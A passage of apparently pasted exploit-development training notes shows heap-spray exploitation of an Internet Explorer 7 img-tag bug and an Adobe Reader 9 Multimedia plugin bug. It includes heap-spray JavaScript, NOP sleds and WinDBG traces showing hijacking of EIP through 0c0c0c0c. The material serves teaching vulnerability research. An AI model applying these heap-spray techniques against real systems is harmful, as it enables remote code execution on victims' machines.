  3382. 025445a0 4141ffff 00420042 00420042 00420042
  3383. 025445b0 00420042 00420042 00420042 00420042
  3384. 025445c0 00420042 00420042 00420042 00420042
  3385. 025445d0 00420042 00000042 e8b9ce43 ff080100
  3386.  
  3387. %u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB
  3388.  
  3389. <img src="%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB">
  3390. <img src="%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB">
  3391. <img src="%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB">
  3392. <img src="%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB">
  3393. <img src="%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB">
  3394. <img src="%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB">
  3395. <img src="%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB">
  3396. <img src="%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB">
  3397. <img src="%u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB">
  3398. :
  3399. :
  3400.  
  3401. EAX register ends up pointing to one of these src values
  3402. %u4141%u4141BBBBBBBBBBBBBBBBBBBBBBBBB
  3403.  
  3404. EAX points to ---> 4141ffff B B B B B B ...
  3405. mov ecx, [eax]
  3406. - what will ecx be? ECX = 4141ffff
  3407. push eax
  3408. call dword ptr [ecx+4]
  3409. - EIP will jump to whatever is at memory location 4141ffff+4 = 41420003
  3410.  
  3411. ie7imgtag1.html
  3412. ---------------
  3413.  
  3414. var buf = unescape("%u0606%u0606BBBBBBBBBBBBBBBBBBBBBBBBB");
  3415.  
  3416. EAX points to ---> 0606ffff B B B B B B ...
  3417. mov ecx, [eax]
  3418. - ecx = 0606ffff
  3419.  
  3420. call [ecx+4]
  3421. - call [06070003]
  3422.  
  3423. Do we control the memory at 06070003?
  3424.  
  3425. dd 04040404 ........ 90 90 90 90 90 90 90
  3426. dd 05050505 ........ 90 90 90 90 90 90 90
  3427. dd 06060606 ........ 90 90 90 90 90 90 90
  3428.  
  3429. 06070003 --> 90909090
  3430.  
  3431. dd 07070707 ........ 90 90 90 90 90 90 90
  3432.  
  3433. EIP = 90909090 (whatever is stored at location 06070003)
  3434.  
  3435.  
  3436.  
  3437.  
  3438.  
  3439.  
  3440. ################
  3441. # PDF EXPLOITS #
  3442. ################
  3443.  
  3444. mnp0.pdf
  3445.  
  3446. - Open up acrobat reader
  3447. - WinDBG
  3448. - F6 attach to AcroRd32.exe
  3449. - g to Go
  3450.  
  3451. EIP = 41414141
  3452.  
  3453. Next step is to spray the heap with NOPS+shellcode, and then land EIP in the heap.
  3454.  
  3455. mnp1.pdf
  3456.  
  3457. All we are doing is changing EIP to 0c0c0c0c.
  3458. There is no heap spray in this one.
  3459.  
  3460. This exception may be expected and handled.
  3461. eax=02e2d638 ebx=23826917 ecx=02e2d638 edx=02e2f868 esi=02c07674 edi=02c07674
  3462. eip=0c0c0c0c esp=0013fb38 ebp=0013fbb8 iopl=0 nv up ei pl nz na po nc
  3463. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
  3464. 0c0c0c0c ?? ???
  3465.  
  3466. We know we get EIP control
  3467.  
  3468. mnp2.pdf
  3469.  
  3470. Put in the heap spray.
  3471.  
  3472. var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
  3473.  
  3474. var nops = unescape("%u9090%u9090");
  3475.  
  3476. while(nops.length <= 32768)
  3477. nops += nops;
  3478. nops = nops.substring(0,32768 - shellcode.length);
  3479.  
  3480. memory = new Array();
  3481.  
  3482. for(i = 0; i < 1500; i++) {
  3483. memory[i] = nops + shellcode;
  3484. }
  3485.  
  3486. 1500 NOP+shellcode blocks of 32K NOPs each
  3487.  
  3488. We would have sprayed over address 0c0c0c0c, and we hope to hit EIP = 0c0c0c0c, and get INT3.
  3489.  
  3490. We want to see what led to the crash.
  3491.  
  3492. EIP is invalid, so we can't disassemble around EIP
  3493.  
  3494. We need to trace the function that called us and crashed.
  3495. - STACK TRACE
  3496. - Dumps all the frames from the top of the stack.
  3497. - show you the series of calls that led up to the crash.
  3498. - we will analyze the topmost function on the frame.
  3499.  
  3500. WinDBG - stack trace - "k" command
  3501.  
  3502. 0:000> k
  3503. ChildEBP RetAddr
  3504. WARNING: Frame IP not in any known module. Following frames may be wrong.
  3505. 0013fb34 2d843117 0x90909090
  3506. 0013fbb8 23826934 Multimedia!PlugInMain+0x41b69
  3507. 0013fbdc 23825d8c EScript!PlugInMain+0x25584
  3508. 0013fc74 238257e2 EScript!PlugInMain+0x249dc
  3509. 0013fca4 238543c5 EScript!PlugInMain+0x24432
  3510. 0013fd04 00a78de1 EScript!PlugInMain+0x53015
  3511. 0013fd20 7e418734 AcroRd32_940000!DllCanUnloadNow+0x67290
  3512. 0013fd4c 7e418816 USER32!InternalCallWinProc+0x28
  3513. 0013fdb4 7e4189cd USER32!UserCallWinProcCheckWow+0x150
  3514. 0013fe14 7e418a10 USER32!DispatchMessageWorker+0x306
  3515. 0013fe24 00a323b4 USER32!DispatchMessageW+0xf
  3516. 0013fe94 00a31de8 AcroRd32_940000!DllCanUnloadNow+0x20863
  3517. 0013fecc 0094389f AcroRd32_940000!DllCanUnloadNow+0x20297
  3518. 0013fee4 009436ee AcroRd32_940000!AcroWinMain+0x1c8
  3519. 0013ff2c 00404004 AcroRd32_940000!AcroWinMain+0x17
  3520. 0013ffc0 7c817067 AcroRd32+0x4004
  3521. 0013fff0 00000000 kernel32!BaseProcessStart+0x23
  3522.  
  3523. 2d843117 -- the return address that we would have returned to, if we didnt crash.
  3524. address 2d843117-2 we will have a CALL instruction.
  3525.  
  3526. u 2d843117
  3527. u 2d843117-2
  3528. u 2d843117-3 <---- we found the CALL instruction - call [edx+4]
  3529. u 2d843117-4
  3530.  
  3531. 0:000> u 2d843117-3
  3532. Multimedia!PlugInMain+0x41b66:
  3533. 2d843114 ff5204 call dword ptr [edx+4] <---- the culprit!!!
  3534. 2d843117 6a00 push 0
  3535. 2d843119 68d8b68c2d push offset Multimedia!PlugInMain+0xca12a (2d8cb6d8)
  3536. 2d84311e 56 push esi
  3537. 2d84311f e842aefdff call Multimedia!PlugInMain+0x1c9b8 (2d81df66)
  3538. 2d843124 83c40c add esp,0Ch
  3539. 2d843127 66b80100 mov ax,1
  3540. 2d84312b 5e pop esi
  3541.  
  3542. We control EDX
  3543. edx=0c0c0c0c
  3544.  
  3545. call [edx+4] = call [0c0c0c10]
  3546. dd edx+4
  3547.  
  3548. 0:000> dd edx+4
  3549. 0c0c0c10 90909090 90909090 90909090 90909090
  3550. 0c0c0c20 90909090 90909090 90909090 90909090
  3551.  
  3552. 0:000> u 2d843117-7
  3553. Multimedia!PlugInMain+0x41b62:
  3554. 2d843110 8b10 mov edx,dword ptr [eax]
  3555. 2d843112 8bc8 mov ecx,eax
  3556. 2d843114 ff5204 call dword ptr [edx+4]
  3557.  
  3558. dd eax
  3559.  
  3560. 0:000> dd eax
  3561. 02e2d680 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
  3562. 02e2d690 42424242 42424242 42424242 42424242
  3563. 02e2d6a0 42424242 42424242 42424242 42424242
  3564. 02e2d6b0 42424242 42424242 42424242 42424242
  3565. 02e2d6c0 42424242 42424242 00000000 00000000
  3566.  
  3567. mnp3.pdf
  3568.  
  3569. change the NOPs 90909090 to 0c0c0c0c
  3570.  
  3571. mov edx, [eax]
  3572. call [edx+4]
  3573.  
  3574. edx = 0c0c0c0c
  3575. edx+4 = 0c0c0c10
  3576. contents at edx+4 will also be "0c0c0c0c"
  3577.  
  3578. EIP will jump to 0c0c0c0c
  3579.  
  3580. and...
  3581.  
  3582. 0:000> u 0c0c0c0c
  3583. *** WARNING: Unable to verify checksum for C:\Program Files\Adobe\Reader 9.0\Reader\plug_ins\Multimedia.api
  3584. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Reader 9.0\Reader\plug_ins\Multimedia.api -
  3585. 0c0c0c0c 0c0c or al,0Ch
  3586. 0c0c0c0e 0c0c or al,0Ch
  3587. 0c0c0c10 0c0c or al,0Ch
  3588. 0c0c0c12 0c0c or al,0Ch
  3589. 0c0c0c14 0c0c or al,0Ch
Add Comment
Please, Sign In to add comment